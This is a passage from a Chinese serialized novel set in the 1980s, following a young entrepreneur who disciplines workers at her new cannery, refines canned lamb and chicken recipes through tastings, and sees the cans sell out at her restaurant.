而现实存在的罐头厂看起来似乎更适合作为怨恨的寄托对象。 杨冬梅试图安抚偷懒女工,拿起手帕替她擦眼泪。 “同志,你别哭,有话咱们好好说,哭解决不了问题啊……” 偷懒女工甩开她的手,红着眼圈说:“不用你来装好人!你不就是想撵我走吗?我走就是!” 有的女工同样不满罐头厂过于严格的管理,闻声附和道:“哼,我也不干了!我一个集体工,为了这点工资受你们个体户的气,不值当!” 其他人没说话,但显然有些动摇。 杨冬梅没想到事态会恶化成现在这个样子,一时间手足无措,喃喃道: “我、我不是想撵你,我就是希望你认真点工作……” 贺明珠的声音忽然响起,众人都看了过去。 “你走吧。” 她没什么表情,面对眼前这一派乱象,她冷静到近乎冷酷的地步。 “事实上,我并不是非要饼干厂的职工不可,相反,之所以让你们来罐头厂上班是不得不接受的租房条件。也就是说,对于饼干厂来说,你们是必须要甩开的包袱,也是罐头厂必须要承担的代价。” 没想到贺明珠会说出这种话,偷懒女工一时愣住:“你!” “我想我已经说的很清楚,杨主任也把利害关系都向你们分析了,如果对于罐头厂的基本要求都无法达到的话,我不认为你们适合留在这里工作。” 贺明珠冷淡地说:“所以,你们随意,想走就走。只不过,走了以后就不要回来了,这是单向道,没有回头机会。” 原本是想用不干走人来拿捏罐头厂的几个女工,这下都傻眼了。 有人反应快,立刻就说:“你不是说了,让我们在厂里上班是租房条件吗?要是我们都走了,厂房你也别想继续租了。” “就是,我们都不干了,饼干厂肯定要把厂房收回去!” 她们不是真的想走,只是想用“走”来作为要挟,这在国企内经常发生,“撂挑子不干”是一种有效拿捏上级的手段,来威胁对方答应己方的条件。 然而,贺明珠却露出一副被逗笑的表情。 “开什么玩笑,怎么会因为你们几个人就收回厂房呢?你们饼干厂的厂长可是向我承诺了呢,要是有工人表现不合格的,可以随便退回饼干厂。我想,饼干厂的厂长是不会为了几个人就食言的吧。” 没想到厂长居然会答应这样的条件,几个女工都吃惊极了。 有人不肯服软,喊道:“那我们就都不在罐头厂干了!姐妹们,咱们都回饼干厂!” 然而,却没有响应者。 涉及到切实的利益时,情绪显得无足轻重。不管有多怀念从前的饼干厂,现在的生存才是第一位要考虑的事情。 有人甚至转开了脸,避开跳的最高几个人的视线。 鼓动者气得直跺脚:“你们怎么这么没骨气啊!我这还不是为了大家好!” “不,你只是为了你自己。”贺明珠说。 鼓动者下意识反驳:“你胡说!” 贺明珠说:“这里不是国企,想要通过闹事来达到某种目的,对我是没用的,我不吃这一套。愿意留下来的,就继续工作;不愿意的,现在就可以离开了。” 听到贺明珠的话,人群骚动了一会儿,接着,开始有人回到工作岗位上。一个接着一个,直到只剩下闹事的几个人。 贺明珠礼貌地问:“你们还不走吗?” 鼓动的女工咬着嘴唇,在几个同伴求助地看向她时,忽然转身离开,回到了原先的工作岗位上。 见状,另外几个女工也急忙返回岗位上,只剩下偷懒女工,倔强地站在原地,转身朝着大门的方向走去。 “对于从来没接受过规范化管理的人来说,刚开始感到不适是正常现象。说实话,我并没有期望你们可以马上就适应工作环境。” 贺明珠突然出声,偷懒女工转过身,惊疑不定地看向她。 “但能力是一方面,态度就是另一方面了。即使在国企,爱岗敬业也是值得被表扬的优良品质。所以,我并不认为好逸恶劳天生就应该是国企职工的特点。” 偷懒女工终于哑着嗓子开口:“你懂什么……” 贺明珠说:“我懂得确实不算多,不过用在这里已经足够了。如果你还抱着能偷懒就偷懒、能少干就少干的老观念的话,无论你在哪工作,都会遭遇和今天一样的困境,甚至更糟,毕竟不是所有人都像我一样好脾气。” 偷懒女工以为贺明珠是在嘲笑她,愤怒地说:“不用你管!我将来就是讨饭也不会讨到你门上!” 说罢,她快步离开罐头厂,脚步极重,背影都能看出她勃发的怒火。 “呃——” 贺明珠无辜地看向一旁的杨冬梅。 “我只是想送她一点小建议而已,不过看起来好像有点事与愿违呢。” 杨冬梅:…… 您那能叫建议吗?怎么听怎么都像是诅咒啊! 第128章 第128章罐头试吃(修) 随着罐头厂的生产步入正轨,很快,第一批罐头完工,放进了仓库中。 贺明珠在下学后来罐头厂时,工人们已经下班回家了,厂里只有门卫室还亮着灯。 她拍了拍铁栅栏大门,门卫老头从小窗探出头,看到是贺明珠,忙不迭跛着脚出来开门。 门卫老头一边拆下门上挂着的铁链,一边热情招呼:“贺厂长,这么晚还过来啊?” 门卫老头姓卫,是退伍老兵,一条腿在战场上受过伤。由于他是乌城郊区农村户口,在部队也没提干,因此退伍后没能分配工作,按政策发回原籍。 但他腿上有伤,对于种地这类重体力活儿是有心无力,加上家里只有他一个人,随着年纪越来越大,生活困顿,全靠左邻右舍接济。 卫老头的战友想方设法把他户口弄到城里,又帮忙找了个工作,在饼干厂当门卫,吃住都在门卫室,虽然条件也不算太好,但相比于村里,还是要更便捷舒适一些。 当这里还是饼干厂的时候,卫老头就是门卫了,这么多年下来,门卫室早就成了他的家。即使饼干厂关门停业,他也依旧留在这里看厂房。 贺明珠对卫老头很尊敬,问道:“卫叔,吃过咱们厂的罐头了吗?” 卫老头笑笑说:“没呢,这罐头是要卖钱的,怎么能随便吃。” 贺明珠说:“那今天您就和我一起尝一尝咱们厂的罐头吧。” 罐头厂只做了两种罐头,一种是红烧羊 肉,一种是烧鸡公,用料实在,一只罐头足足有两斤重,拿在手里时,有种沉甸甸的踏实感。 贺明珠打开仓库,从里面拿出了两个罐头。 对着光看,汤汁浓稠,透明的玻璃上依稀映出肉块的形状。罐头冷却后,食物表面凝结了一层厚厚的油脂。 贺明珠找了个盆,在里面倒入热水,把罐头放进去泡着,随着温度上升,金属瓶盖有了细微的变化,缓慢地在膨胀。 卫老头提议道:“贺厂长,我这儿有锅,要不放锅里热吧?” 贺明珠说:“不用了,卫叔,我想看看偷懒的情况下,罐头要泡多长时间的热水才能吃。” 卫老头就不再劝,心惊胆战地看着那一盆热水,生怕玻璃罐子受不住温差,过热后玻璃爆裂。 不过幸好,玻璃罐子还是经受住了考验,也可能是现在天气回暖,温度不算低,玻璃罐子的温差没到达到爆裂的程度。 过了一会儿,热水渐渐变凉,罐头表面的油脂也融化了,让食物看起来更加有食欲。 贺明珠拿出罐子,用剪刀在瓶盖边缘撬了撬,放出一点气后,便轻松地拧开了瓶盖。 卫老头拿来两个盘子,虽然老旧,边缘有磕碰痕迹,但盘子洗的干干净净,在昏暗的灯光下显得锃光瓦亮。 第一罐是红烧羊肉,羊肉切得块大,从罐子里滑落到盘中时能听到明显的一声响,浓稠的汤汁裹在其上,泛着诱人的油光。 羊肉是带皮的,炖煮的时间长,吃起来香糯鲜美,再配上切成块的胡萝卜,油脂浸透了原本涩脆的胡萝卜,让其吃起来更加顺滑柔软,入口即化,即使是最不爱胡萝卜的人,也忍不住吃上两块。 贺明珠招呼卫老头动筷子,老头挺客气,非要等贺明珠先吃,自己才夹了一小块羊肉。 红烧羊肉甫一入口,卫老头惊讶地瞪大了眼。 虽然用热水泡过后,罐头并没有达到最佳食用温度,还有点凉,但这却并不影响羊肉本身的美味。 红烧的做法能够去除羊肉本身的膻腥味,将其鲜嫩发挥到极致。而胡萝卜吃油,将羊肉中多余的油脂都消耗掉,使羊肉本身在油腻和干柴间达到完美平衡。 而胡萝卜别称“小人参”,生吃的时候虽然说是脆口清甜,但滋味还是有些寡淡,吃多了牙累,还有些没滋没味。 但与羊肉结合后,胡萝卜彻底发挥出软糯香甜的潜质,轻轻一咬就碎裂开来,在舌头上软绵绵地绽放,给人一种完全不同的奇妙口感。 从医学上说,胡萝卜所含的营养成分溶于脂肪,在生吃的情况下很难被人体所吸收。而胡萝卜在与羊肉同炖时,吸收了油脂,就不需要担心人体无法吸收营养的问题。 羊肉与胡萝卜简直是佳偶天成,是最完美的食材搭配。 如果红烧羊肉里没有胡萝卜,就像是薯条没有番茄酱一样无法让人接受。 卫老头对吃的不讲究,填饱肚子就行,平时吃得糊弄,随便下点杂粮面条,加上屋后小菜地里自给自足种的小青菜,挖一小勺大酱,就算一顿饭。 寡淡了许久的肠胃在遇到红烧羊肉时,像是烟花在绽放,东风夜放花千树,瞬间点燃了全身。 “贺厂长,这个罐头好吃,好吃,太好吃了!” 卫老头这会儿也顾不上吃相了,满嘴都是肉,腮帮子都鼓起来了,还在含糊不清地向贺明珠说: “外面饭店里的菜都没有咱们厂的罐头好吃!” 听到卫老头由衷的夸赞,贺明珠却没有像他这样对罐头的前景很乐观。 她放下筷子,拿起水杯漱了漱口,心里有些烦恼。 经过高温蒸煮后的罐头,无可避免损失了一些味道,羊肉和胡萝卜的口感也没有达到最佳水平,类似于煮过头,食物本身的结构变得略微松散。 罐头厂的女工虽然是按照她给的工艺流程来做菜,无论是羊肉胡萝卜的形状,还是调料的多少,都符合她的要求。 但显然,工业食物的味道无论如何都比不上厨房现制出来的菜,本质上缺少一分热气腾腾的镬气。 ——当然,这也可能是由于贺明珠偷懒只用热水加热罐头、而非是在锅里加热的原因。 想到这里,在加热烧鸡公罐头时,贺明珠选择这次用锅来热。 同样的放气开盖,贺明珠将玻璃罐子中的鸡肉都倒进锅里,放到炉子上用小火加热。 卫老头平时用的锅不大,两斤罐头倒进去后,锅里就装得满满当当的。 火舌舔舐着锅底,渐渐的,铁锅受热温度上升,汤汁开始咕噜咕噜地冒起了泡。 卫老头抽抽鼻子:“贺厂长,这是什么菜?闻起来可真香啊!” 贺明珠找了个勺子,轻轻搅了搅锅里的菜,防止受热不均黏在锅底上。 “烧鸡公,里面放了青椒,吃起来会有点辣,” 卫老头咧着嘴笑道:“那我熥俩馒头,正好就着鸡肉吃。” 不多时,锅中菜已经被完全加热,散发出微辣而诱人的香气。 辣椒有种奇妙的功效,明明闻着刺鼻,却能勾出胃里的馋虫,让人口水不断分泌,还没吃到嘴里时,似乎就已经感受到那种刺激而痛快的辣味了。 贺明珠见卫老头刚才吃红烧羊肉的时候有些放不开,不太好意思伸筷子,羊肉都是挑小块的夹,而且吃的最多的还是胡萝卜。 于是这次贺明珠拿了两个碗,给卫老头的碗里盛了满满一碗的鸡肉,自己的碗里则是挑了几块,主要是尝尝味道。 卫老头挺不好意思的,连连推拒:“厂长,你吃这碗,我年纪大,吃不了多少……” 贺明珠坚持将多的那碗递给卫老头,劝道:“您多吃点,仔细尝一尝,看看咱们厂的罐头还有什么需要改进的地方。” 听到贺明珠的话,卫老头便不再推拒,高高兴兴地拿起筷子吃了起来。 烧鸡公是重庆菜,讲究的就是一个麻辣鲜香,整鸡切成小块,焯水后下油锅翻炒,加入香料和豆瓣酱,倒入青椒洋葱,再放入芹菜和豆芽,出锅的菜冒着腾腾辣气,红通通,刺激着食客的视觉。 卫老头是头一次吃这道菜,夹了块鸡肉,没防备直接入口,顿时被辣得一个激灵。 嘶,这鸡肉上可真辣,简直像在咬舌头! 就在被麻辣刺激到的同时,全身发出一层薄汗,瞬间将毛孔都打通,原本还有些昏昏沉沉的脑子立刻清醒起来,似乎蒙在眼前的一层雾障此时也被揭开。 灯光仿佛也变得明亮起来,而面前那碗鲜红掺碧绿的烧鸡公就看起来更让人充满食欲。 卫老头抓起熥好的馒头,重重咬下一口,缓解了一下口腔的辣意,接着便毫不犹豫地夹了第二筷,接着是第三筷…… 直到一碗烧鸡公被吃得干干净净,他还意犹未尽,用手里的馒头去擦碗底残余的汤汁。 等卫老头一抬眼。却发现贺明珠早已放下了筷子,脸上露出惆怅的表情。 卫老头不解地问:“贺厂长,这菜挺好吃的,有什么不对的吗?” 贺明珠摆摆手:“怎么说呢,就是和我的预期相差有点远。” 唉,果然这种需要烈火烹油制作的菜只有现做的才好吃,为了消毒而高温蒸煮后,吃起来总感觉有种水塌塌的颓败感,让人忍不住失望。 看来这两个罐头的配方还需要再调整一下啊。 卫老头不知道贺明珠在想什么,看看锅里剩下的菜汤,忍不住说:“这么香的汤,要是能下碗面条就好了。” “欸?” 贺明珠眼前一亮,灵感乍现,忽然想到了解决办法。 第二天,杨冬梅收到了贺明珠连夜改好的罐头新配方,有些犹豫地说: “需要改动这么多吗?我找人试吃了咱们厂的罐头,吃过的人就没有说不好的,还有人现在就想找我批发罐头呢。” 贺明珠却说:“改动是必须的,幸好是现在试运行阶段发现了问题,还来得及改,如果正式生产后才发现,那就晚了。” 对于贺明珠的要求,杨冬梅没有不答应的,毕竟她是亲眼看着贺明珠将罐头厂从无到有地筹建起来,而且在食物口味方面,全厂都没有人比贺明珠更有话语权。 罐头厂按照修改后的配方调整制作工艺和流程,才刚熟悉操作的女工们难免有些不解。 “之前做的罐头不是挺好吃的吗?为什么要改啊……” “我才记住炖菜的时间和火候,怎么现在又改了?还要从头开始学啊。” “算了,厂长说什么就是什么吧,我们就拿个死工资,不用替人家操心。” “你可真没出息,忘了厂长之前说的奖金了吗?要是罐头卖得好,我们可是都有钱拿呢。” “要是能发奖金就好了,虽然现在每月能发二十块的工资,可要是再加上十块钱奖金的话,我就和我们家那口子挣得一样多了,看以后他还敢指挥我去给他洗脚不成。” “哈哈哈等你挣大钱了,你让他给你端洗脚水!” 短暂的休息时间里,女工们说笑一番,便又投入了忙碌的生产中。 要重新熟悉罐头的制作工艺,不能出一点纰漏,这可不是件容易事啊。 随着罐头厂的生产活动日益成熟,试制的罐头渐渐堆满了整个库房。从最开始的一号试验品,到现在的十二号试验品,罐头的口味在不断调整。 卫老头隔三差五就能吃到新罐头,舌头也渐渐灵敏起来,对味道和口感有了自己的判断,再重新吃回第一版的罐头时,不由得心想还是贺厂长眼光独到,一下就发现了罐头存在的瑕疵。 与此同时,卫老头的气色也越来越好,苍老黝黑的脸庞上渐渐爬上了红晕,干瘪的肌肤在得到充足营养后,渐渐充盈起来,跛脚也有了力气,竟显得年轻了好几岁。 饼干厂负责人有时会来厂房这边绕一圈,看看过去战斗过的地方现在变成了什么样。 他遇到卫老头时,惊讶道:“老卫,你这是攻陷了太上老君的炼丹炉吗?吃的什么仙丹妙药啊?” 卫老头站在铁门旁边,摸摸自己的脸,笑得褶子都皱起来了。 “哪有什么仙丹,都是吃我们厂的罐头吃的,贺厂长人好,经常拿罐头过来,你看看给我吃的,人都胖了一圈。” 饼干厂负责人酸溜溜地说:“哟,还‘我们厂’呢,这么快就倒戈了?你别忘了你可是饼干厂的人啊。” 卫老头笑着说:“你少挑拨离间了,省省吧!我是饼干厂的人,也是罐头厂的人,这两个又不冲突,只要能让大伙儿过上好日子,什么厂都行!” 饼干厂负责人看向不远处厂房烟囱冒出的白烟滚滚,感叹道:“真没想到,这罐头厂真就这么开起来了,听你的意思,罐头厂挺好的……那就好,唉,我能力有限,没法儿让饼干厂兴旺起来,大伙儿跟着我受苦了。” 卫老头安慰地拍拍负责人的肩膀。 “别想了,饼干厂散摊子又不是因为你的缘故,你说起来是厂长,头上还顶着好几个婆婆呢。这段时间我在罐头厂是看明白了,没个精益求精的带头人,再好的厂子也能干黄了。当初多少人说咱们厂饼干不好吃,要改改配方,可最后改来改去,还是老味道。罐头厂就不一样了,已经很好吃的罐头,还能再改个十几遍,硬是要把罐头做的比饭店都好吃,真是让人不得不佩服。” 饼干厂负责人侧目:“你这说来说去,还不是我的缘故啊?” 卫老头嘿嘿一笑:“我实话实说罢了,你们这些当官的就是心思太细,想得也太多。” 饼干厂负责人拿手点了点他,转过身,一摇一摆地走了。 卫老头在身后喊他:“不聊了?” 饼干厂负责人头也不回地说:“没什么好聊的,你这说了半天也不给我拿个罐头尝尝,就知道馋我,我回家吃饭去。” 卫老头解释道:“贺厂长说了,厂里的罐头还没确定配方,不好拿出去给外面的人吃。等罐头上市了,我告诉你一声,你买回家尝一尝。” 听到这话,饼干厂负责人更郁闷了,加快步伐,很快就走得不见身影。 哼,还让他去买罐头,他怎么可能会买? 除非免费送他几个,不然他才不要自掏腰包去买罐头厂的产品,自家厂房都让人抢走了,还要支持对方生意,这也忒自轻自贱了。 饼干厂负责人不再去罐头厂溜达,只偶尔路过时远远地看上一眼。 唉,这个厂房是他的老伙计,相伴十余年,如今却被迫分离,真是让人看了心里难受。 罐头厂管得严,说什么非本厂职工不得入内,卫老头也是死板,每次都堵在铁门前不许他进来,想旧地重游一趟也不给他机会。 除了被退工的偷懒女工隔三差五还会找负责人哭一哭闹一闹,其他女工们的工作做得日益得心应手,一心扑在罐头厂,渐渐也不来拜访他这个老厂长了。 饼干厂负责人有种英雄末路的悲壮感,脸上的褶子都多了几条,更别提头上的白发了。 当他揽镜自照时,不由得悲叹,真是老了,怪不得古诗说不许人间见白头啊。 这天,负责人正对着镜子自艾自怜时,他的老妻忽然喜气洋洋地提着一兜子玻璃罐子进了家。 “抢到了,抢到了!煤矿人家新出的罐头!咱们家今天中午就吃罐头!” 听到“煤矿人家”四个大字,负责人大惊:“谁让你去买这家的罐头的?!” 老妻不理他,自顾自走进厨房,敞亮的大嗓门传出来:“买罐头能摸奖,奖品最高有十块钱呢!最少也能送一篮子的新鲜菜,傻子才不买呢!” 负责人追到厨房,连连叹道:“你怎么能为了这点蝇头小利就买罐头?家里有现成的饭不吃,吃这东西……” 老妻瞥他一眼,说:“什么现成的饭,那不都是我做的吗?自从和你结婚,我做了三十年的饭,我做也做腻了,今天咱家就吃罐头,不服气你自个儿做饭去!” 负责人自知理亏,连忙转移话题:“罐头多少钱一个?” 老妻意犹未尽,追击道:“怎么,我还不能买个罐头了?我也是有工作的,家里的钱一半是我挣的,买个罐头怎么了?” 负责人没想到话题会歪到媳妇有没有权利买罐头上面——虽然他本意确实是想通过问罐头价格来暗示吃罐头是不会过日子的…… 他窝窝囊囊地说:“能,你能买,想买多少都行,我就是问问……” 旗开得胜,老妻得意地看他一眼,这才说了罐头价格:“三块五一个,便宜吧?我可不是那种乱花钱的人,现在猪肉都三块钱一斤,这肉罐头足足有两斤重,算下来比直接买肉还实惠。” 负责人明显被这个价格惊到了,要知道现在市面上最便宜的肉制品罐头也要五块钱,煤矿人家的罐头居然还能便宜一块五。 “这肉该不会有问题吧……” 听到负责人的话,老妻一瞪眼睛,下意识反驳。 “怎么可能有问题!” 负责人弱弱地说:“你自己也说了,猪肉一斤还要三块钱呢,猪肉做熟后份量还要少一小半,这算下来,罐头比生肉还便宜,这怎么可能嘛……” 老妻一听,也意识到罐头价格便宜的有些离谱了,好像确实是有那么点问题…… 她嘴硬道:“有肉吃就不错了,哪来那么多的话!” 接着,她又不确定地补了一句:“要是真出问题了,我就去找卖罐头的!跑得了和尚跑不了庙,饭店又不长腿,还能跑了不成?” 负责人心想,要是真吃出问题,你找上门也晚了。 但这话他没敢说出声,转而说道:“你先打开罐头看看,这隔着玻璃也看不出来质量啊。” 老妻拿了条干净抹布,垫在罐头瓶盖上,左手握瓶,右手拧盖,猛一发力,便将密封得严严实实的罐头打开。 随着盖子被掀开,一股香气迫不及待地溢了出来。 负责人抽抽鼻子,这味道闻着……好像还不错? 第129章 第129章罐头厂的变化 随着罐头被打开,一股鲜香中带着麻辣的浓郁醇厚的气味传了出来。 老妻离得近,闻得更清楚,眼睛一亮,端起罐头凑到鼻端,深深地吸了一口气。 “真香!这罐头没买错!” 负责人在饼干厂闻惯了烘焙香气,深知闻起来和吃起来是两回事,泼冷水道:“闻着香没用,还不知道吃起来咋样呢,说不定吃起来就一般般了。” 老妻不耐烦地说:“还没吃你就说这话,你怎么老这毛病!” 又把人惹生气了,负责人噤声,老老实实地站到一旁,等着老妻加热罐头内的食物。 老妻举起罐头,眯着眼睛去看标签上的小字,边看边说:“……倒入少量清水,搅拌均匀后加入一斤切块土豆,小火焖煮五到十分钟……” 照着说明,她先将罐头囫囵个倒入了 锅中,倒出来后才发现,里面的肉块大概占据了罐头的三分之二,剩余部分是浓稠的汤汁,几乎浓到了半固体的状态。 老妻指挥负责人去削土豆皮,自己将去皮的土豆快手切成滚刀块,倒入锅中,盖上锅盖。 随着锅中温度上升,一股诱人的香气沿着锅盖的缝隙溜了出来,风情万种地路过在场两人的鼻端,勾出腹中馋虫后,又若无其事地离开。 负责人咽了下口水,这味道,好像……还挺好吃? 老妻比他爽直,直接就说:“这罐头刚打开就挺香的,热完更香了。不行,我得蒸锅米饭,等下就着米饭吃。” 她从大缸里舀米时还问负责人:“你吃几碗饭?” 负责人吞下唾沫,嘴硬道:“我不吃这玩意儿,家里不是还有昨天的剩菜吗?我就吃那个。” 瞧瞧,他多会过日子! 老妻也不惯着他,就说:“行,随便你。” 于是她就真只蒸了一人份量的米饭。 等米饭蒸熟时,罐头也热好了,掀开锅盖时,大量的水蒸汽混着热辣的香味冲了出来。 香,真香! 土豆被焖得软烂,筷子轻轻一戳就碎成小块;鸡块肉多骨少,浸泡在红亮的汤汁中,看起来有种肉质结实的诱人质感。 大料、花椒等辅料都被捞干净,此时这道菜看起来干干净净,让人格外有食欲。 老妻没把菜从锅里盛出来,而是端着饭碗站在灶边,现吃现捞,即使被辣的嘶嘶倒吸冷气,挥动筷子的手也没有慢上一分。 负责人吃着剩菜,眼睛不住地往过瞟,越看越觉得口中食物味如嚼蜡,咀嚼的频率也越来越慢。 终于,他忍不住开口:“真有这么好吃?” 老妻吃得顾不上说话,连连点头,一块鸡肉还没吃完,就忙不迭去夹下一块。 土豆用勺子捞出来,捣碎拌进米饭,再浇上一勺滋味鲜辣浓郁的汤汁,香得人恨不能连舌头也吞下肚。 负责人闻到味道,馋得不行,偏偏又抹不开面子,假模假样地端着碗吃饭,实则内心万分期待老妻喊他过来一起吃。 到时候,他是要故作含蓄地再三推拒,盛情难却不得不吃呢?还是爽快地说:“行,给你个面子,我尝一尝好了。” 当负责人还沉浸在幻想中时,忽然叮当一声响,打断了他狂奔逸散的美好想象。 老妻把空碗放在锅里,从水缸舀了一瓢水浇上去,撒了点碱面,正拿起丝瓜瓤要洗锅。 负责人磕巴地说:“这、这就吃完了?这么快?” 老妻奇怪道:“这有啥好问的?好吃就吃得快呗。你也快点吃,我顺手把那两个碗一起洗了。” 负责人笑得跟哭似的:“哎,哎,我这就吃……” 他不甘心,小声又补了一句:“你怎么也不给我留一口啊……” 老妻叉腰,好笑又好气:“不是你自己说不吃的吗?这会儿又怪上我不给你留了。” 负责人低着头不说话,筷子在饭里戳来戳去。 老妻说:“行了,你也别摆出这副模样了,不就是个罐头吗?吃了就吃了,下午再去买不就行了吗?你多买几个,等孩子们周末回家的时候,正好咱们一起吃。” 负责人别扭道:“我也没吃……我哪知道罐头好不好吃,值不值得买……” 听到这话,老妻从手边的碗里夹起一块肉,眼疾手快塞进了负责人嘴里。 “吃吧!就知道你这个老东西馋了!” 负责人顾不上斗嘴,忙着咀嚼嘴里的鸡块。 鸡块里只有一根细小的骨头,完全不影响吃肉;而鸡肉表面裹着滋味浓郁的汤汁,还沾了一点土豆泥,吃起来口感沙沙的。 虽然凉了些,但鲜辣的味道却并没有因此受损,反而在脱离了滚烫的菜温后,给人以更加鲜明的刺激体验。 负责人脑海中闪过一丝念头,怪不得卫老头吃得脸都圆了,原来这罐头这么好吃啊! 老妻故意问道:“罐头还买不买了?我看要不别买了吧,多花钱啊,不如自己买菜省钱。” 负责人还以为她是认真的,急得口齿不清地说: “买!必须买!我掏钱!” 新开的煤矿人家饭店,正门一侧的墙上开了个小窗,旁边贴了张红纸,上面写着“出售罐头”。 小窗前,人们你拥我挤,挥舞着手上的钞票,争前恐后地对窗里的售货员说: “给我每样来两个罐头!” “我要羊肉罐头,十个!” “别挤别挤,排队啊!” “鸡肉罐头还有没有了?” “我先来的,剩下的罐头我都包圆了!” “今天的摸奖还有没有了?” 售货员嗓音嘶哑,明显是一天下来说话太多,声带快要罢工了。 “没了,今天的罐头都卖完了,明天再买吧!” 他反复说了好几遍,来买罐头的人群依旧不肯散开,一张张脸挤在窗前,七嘴八舌地询问。 “真没了?没开玩笑吧?这不还没到下班的点吗?” “明天还摸奖吗?” “我好不容易来一趟,同志,给我匀个罐头吧!” “你们店里明天几点开门?” “要不你先把钱收了吧,我怕明天来晚了又没有罐头了!” 问题又多又杂,售货员从小窗里探出半个身子,努力扯着嗓门一一解释,人们买不到罐头了,这才半信半疑地散开。 售货员精疲力尽地从小窗缩回身子,咽了口唾沫,润一润干裂得快冒烟的嗓子。 这时,有人从后面拍了他一下,售货员被吓得差点跳起来,回过头才认出是店里的老板。 “贺老板,你怎么来了?” 贺明珠说:“我来看看罐头卖得怎么样,听说今天运过来的罐头已经都卖光了,大家很喜欢咱们店里的罐头吗?” 说起这个,售货员眉飞色舞:“可不是嘛,都是争着抢着要买,那钱简直都不是钱了,我还从来没摸过这么多的钞票。” 贺明珠玩笑道:“那今天的营业额就由你来点数吧,绝对让你摸钱摸个够。” 售货员苦着脸说:“啊,那我手指头都要数钱数到抽筋了。” 去给不属于自己的钱点数时,真是一件让人甜蜜并痛苦的事,可钞票的手感和气味实在是太迷人了啊,哪怕不是自己的钱,摸一摸也让人心情很好呢…… 见贺明珠要走,售货员想起正事,连忙说:“对了,还有一件事,客人们反映罐头不够买,老板,能不能明天再多送一些罐头过来?” 听到售货员的话,贺明珠想了想,说:“我和罐头厂那边说一下吧,尽量提高生产效率,不过短时间内增加的罐头数量不会太多。” 售货员苦恼道:“唉,要是买不到罐头,估计客人们又要闹了……” 贺明珠说:“你登记一下把没买到的人想要的罐头品种和数量,我会让人给他们预留一部分罐头。” 售货员不解地问:“为什么不能让罐头厂多生产些罐头呢?不然总会有人买不到啊。” 贺明珠简单说了一句:“因为人们不一定会一直想要买我们的罐头啊。” 售货员没听懂,心想怎么会有人不想买呢,今天来买罐头的人就差点要从小窗钻进来啊。 贺明珠没多解释,嘱咐售货员和财务做好现金交接工作,就回到隔壁的饭店了。 其实这个问题很简单,新品上市难免会引发一波购买狂潮,但购买量不一定会始终保持在高位,很有可能会随着时间的流逝,销售曲线呈现出缓慢下降的趋势,直到最终稳定下来。 虽然贺明珠对自家罐头的品质很有信心,三块五的定价在罐头市场上也相当有竞争力,但市场是个阴晴不定的坏脾气家伙,说不准什么时候就会给人迎面一击。 与其贸贸然 大幅度提高产能,将大量流动资金都押在原材料和产成品上,不如根据市场反响来提高产量,才能最大程度地规避风险。 而且罐头厂的工人才刚适应新的工作内容,突然加大产能的话,出现失误和纰漏的概率无疑会大幅度上升,最终影响罐头品质。 不过,贺明珠认为自己是风险厌恶型人格,但在其他人看来,她的步子迈得简直吓人。 一年多的时间,连开三家饭店和一家食堂,承包劳动服务公司,开办罐头厂,现在又在矿务局开了一家新的煤矿人家。 说起来,与其说是新开了一家饭店,倒不如说是原先一矿被迫关闭的老店换了副姿态重生。 由于一矿的店址已经不合适了,即使巩副矿长要将三产房子还给贺明珠,但客流已经被新食堂都吸走了,就算在原址上重新开店,也无济于事。 贺明珠在矿务局租了一处新房子,离总局办公楼和楼房小区不远,目标客户瞄准了矿务局的中高收入群体,对食物品质有要求的同时,舍得在外面花钱吃饭。 新店定位为美味营养、实惠便捷的中式快餐,采取类似于后世餐饮连锁店的运营模式,各式小炒在饭点前制作完成,放在售饭保温台上持续加热。当客人到店时,可以更加直观的方式来点餐。 在这种模式下,由于不需要现点现做,减轻了对后厨的压力,也降低了对厨师综合能力的要求。 厨师只需要将菜做得好吃干净,不需要担心爆单时忙不过来的问题,对多线程处理能力和灵活机变的应变能力要求相对不高。 如果说以前煤矿人家的运营模式非常注重厨师的个人能力,需要冯解放、曹全安这类经验丰富的老厨子来镇场;而新开的煤矿人家就不再过分依赖厨师的个人素质,即使是刚出师的年轻厨师也能在相对低压力、慢节奏的工作中,有条不紊地完成出餐工作。 因此,这次新店开业时,贺明珠没再去满世界招聘有经验的老厨师,而是从自家店里提拔了一个年轻厨子。 说起来这人不算陌生,正是曹全安之前收的胖学徒,大名董大力。 曹全安开年后把自家儿子带到了分店,手把手地教亲儿子做菜,丝毫不藏私,恨不能将毕生所学都灌进这小子脑袋里。 他倒是一派拳拳爱子之心,衬得徒弟成了后娘养的,在后厨只能靠边站。 其实曹全安对徒弟不算差,该教的都教了,平时也给了董大力不少锻炼机会,放手让他掌勺做菜——虽然某种程度上是由于曹全安想偷懒——但就结果而言,董大力在一年不到的时间里就能在后厨独当一面,可以说得上是神速了。 只是毕竟亲儿子还是不一样的,曹全安的偏心也是人之常情。 对于曹全安的区别对待,董大力表现得很平和,他为人敦厚,对曹全安依然保持着尊重的态度,并没有因此而愤愤不平。 他是带艺投师,来分店之前就学过厨,基础功还算扎实,只是苦于没有机会掌勺,一直做着切墩打杂的活儿。 能跟着曹全安学厨,有一门安身立命的本事,每月还有稳定的收入,董大力已经很满足了。 曹全安难得有点不好意思,好像有点太欺负这个胖徒弟了。 因此,当贺明珠问起他手下有没有合适的厨师时,他二话不说就把董大力推荐过去了。 贺明珠看中董大力的人品,加上他能力不差,简单考核后,便让他在新店担任厨师。 由于新店里不能都是新招的人,贺明珠找二哥撒娇,半强迫地从乌金年代挖走一批有经验的员工过去,其中包括纪平波。 贺明军拿贺明珠没办法,只好睁一只眼闭一只眼,任由她把自己好不容易调教好的人带走。 倒是徐和平碎碎念:“怎么就选了纪平波呢?我呢?我看起来难道不靠谱吗?” 贺明军考虑到这一年多的兄弟情谊,忍了又忍,到底没把实话说出来。 ——就你那当一天和尚撞一天钟的德行,谁放心让你带新人啊!不得把人都带沟里去了! 解决了人员问题后,贺明珠关于新店的构想中,最大的困难是售饭保温台的制作。 由于后世保温台的制作工艺已经很成熟,使用电加热的模式,成本低廉,非常方便。 但在八十年代,保温台还是个新鲜概念,对食物保温一般是在盒子上裹一层厚厚的棉被,要吃的时候先掀开被子,再揭开盒子,在此过程中难免会流失热量,而且也看不清盒内的食物。 贺明珠找了五金门市的老师傅,花重金打造了一款台面中空、热水循环的不锈钢保温台。 虽然这款保温台有些笨重,热水升温要耗费一定时间,但也能基本达到食物加热的目的。 这家新煤矿人家在矿务局甫一开业,当天店里挤得人满为患,连落脚的地方都没有。 由于离机关家属区近,来店里吃饭的不少人都是中层领导,都曾因公出差,见识过祖国各地的风土人情,有的人还出过国,在八十年代算是见多识广之人。 